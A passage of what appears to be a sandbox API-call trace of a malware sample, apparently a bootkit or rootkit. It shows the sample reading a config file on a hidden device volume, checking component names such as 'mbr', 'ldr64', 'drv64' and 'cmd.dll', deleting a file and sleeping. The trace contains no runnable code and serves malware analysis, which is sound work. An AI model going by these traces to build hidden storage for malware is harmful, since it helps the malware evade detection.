VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.937] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.937] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.937] IdePortDispatch () returned 0x103 [0122.937] KeWaitForMutexObject () returned 0x0 [0122.937] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.937] KeLeaveCriticalRegion () [0122.937] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.937] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.937] KeEnterCriticalRegion () [0122.937] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.937] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.937] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.937] KeLeaveCriticalRegion () [0122.937] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.938] KeEnterCriticalRegion () [0122.938] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.938] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.938] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be2e10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.938] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.938] KeLeaveCriticalRegion () [0122.938] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.938] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.938] KeEnterCriticalRegion () [0122.938] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.938] ExFreePoolWithTag (P=0xfffffa8003825ba0, Tag=0x0) [0122.938] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.938] KeLeaveCriticalRegion () [0122.938] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.938] ReleaseMutex (hMutex=0xf0) returned 1 [0122.938] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.938] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0122.938] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.938] KeEnterCriticalRegion () [0122.938] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.938] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.938] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.938] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.938] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.938] IdePortDispatch () returned 0x103 [0122.938] KeWaitForMutexObject () returned 0x0 [0122.938] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.938] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.938] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.938] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.938] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.938] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc6200 [0122.938] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.938] KeLeaveCriticalRegion () [0122.938] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.938] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.939] KeEnterCriticalRegion () [0122.939] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.939] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.939] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.939] KeLeaveCriticalRegion () [0122.939] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.939] KeEnterCriticalRegion () [0122.939] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.939] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.939] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.939] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.939] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.939] IdePortDispatch () returned 0x103 [0122.939] KeWaitForMutexObject () returned 0x0 [0122.939] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.939] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.939] KeLeaveCriticalRegion () [0122.939] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.939] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.939] KeEnterCriticalRegion () [0122.939] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.939] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d7e000 [0122.939] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.939] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.939] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.939] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.939] IdePortDispatch () returned 0x103 [0122.939] KeWaitForMutexObject () returned 0x0 [0122.939] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.940] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.940] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.940] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.940] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.940] IdePortDispatch () returned 0x103 [0122.940] KeWaitForMutexObject () returned 0x0 [0122.940] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.940] KeLeaveCriticalRegion () [0122.940] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.940] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.940] KeEnterCriticalRegion () [0122.940] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.940] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.940] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.940] KeLeaveCriticalRegion () [0122.940] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.940] KeEnterCriticalRegion () [0122.940] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.940] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.940] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be7760, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.941] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.941] KeLeaveCriticalRegion () [0122.941] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.941] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.941] KeEnterCriticalRegion () [0122.941] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.941] ExFreePoolWithTag (P=0xfffffa8003bc6200, Tag=0x0) [0122.941] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.941] KeLeaveCriticalRegion () [0122.941] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.941] ReleaseMutex (hMutex=0xf0) returned 1 [0122.941] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0122.941] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0122.941] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0122.941] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.941] KeEnterCriticalRegion () [0122.941] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.941] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.941] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.941] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.941] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.941] IdePortDispatch () returned 0x103 [0122.941] KeWaitForMutexObject () returned 0x0 [0122.941] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.941] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.941] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.941] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.941] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.941] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.941] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.941] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.941] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.941] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.941] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.941] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.941] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.942] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.942] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.942] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.942] KeLeaveCriticalRegion () [0122.942] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.942] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0122.942] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.942] KeEnterCriticalRegion () [0122.942] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.942] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.942] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.942] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.942] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.942] IdePortDispatch () returned 0x103 [0122.942] KeWaitForMutexObject () returned 0x0 [0122.942] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.942] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.942] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.942] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.942] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.942] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.942] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.942] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.942] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.942] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.942] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.942] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.942] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.942] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.942] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.942] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.942] KeLeaveCriticalRegion () [0122.942] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.942] ReleaseMutex (hMutex=0x100) returned 1 [0122.942] Sleep (dwMilliseconds=0x2bf20) [0122.949] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6c79cc30, dwHighDateTime=0x1d24fa4)) [0122.949] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0122.949] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.949] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.949] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.949] KeEnterCriticalRegion () [0122.949] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.949] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.949] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.949] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.949] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.949] IdePortDispatch () returned 0x103 [0122.949] KeWaitForMutexObject () returned 0x0 [0122.949] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.949] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.949] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.949] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.949] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.949] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003827630 [0122.949] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.949] KeLeaveCriticalRegion () [0122.949] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.950] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.950] KeEnterCriticalRegion () [0122.950] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.950] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.950] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.950] KeLeaveCriticalRegion () [0122.950] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.950] KeEnterCriticalRegion () [0122.950] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.950] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.950] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.950] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.950] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.950] IdePortDispatch () returned 0x103 [0122.950] KeWaitForMutexObject () returned 0x0 [0122.950] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.950] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.950] KeLeaveCriticalRegion () [0122.950] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.950] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.950] KeEnterCriticalRegion () [0122.950] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.950] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d81000 [0122.950] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.950] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.950] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.950] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.950] IdePortDispatch () returned 0x103 [0122.950] KeWaitForMutexObject () returned 0x0 [0122.951] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.951] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.951] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.951] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.951] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.951] IdePortDispatch () returned 0x103 [0122.951] KeWaitForMutexObject () returned 0x0 [0122.951] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.951] KeLeaveCriticalRegion () [0122.951] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.951] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.951] KeEnterCriticalRegion () [0122.951] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.951] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.951] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.951] KeLeaveCriticalRegion () [0122.951] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.951] KeEnterCriticalRegion () [0122.952] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.952] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.952] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80038276f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.952] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.952] KeLeaveCriticalRegion () [0122.952] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.952] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.952] KeEnterCriticalRegion () [0122.952] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.952] ExFreePoolWithTag (P=0xfffffa8003827630, Tag=0x0) [0122.952] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.952] KeLeaveCriticalRegion () [0122.952] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.952] ReleaseMutex (hMutex=0xf0) returned 1 [0122.952] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.952] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.952] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.952] KeEnterCriticalRegion () [0122.952] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.952] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.952] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.952] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.952] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.952] IdePortDispatch () returned 0x103 [0122.952] KeWaitForMutexObject () returned 0x0 [0122.952] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.952] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.952] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.952] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.952] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.952] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbed10 [0122.952] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.952] KeLeaveCriticalRegion () [0122.952] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.952] _snprintf (in: 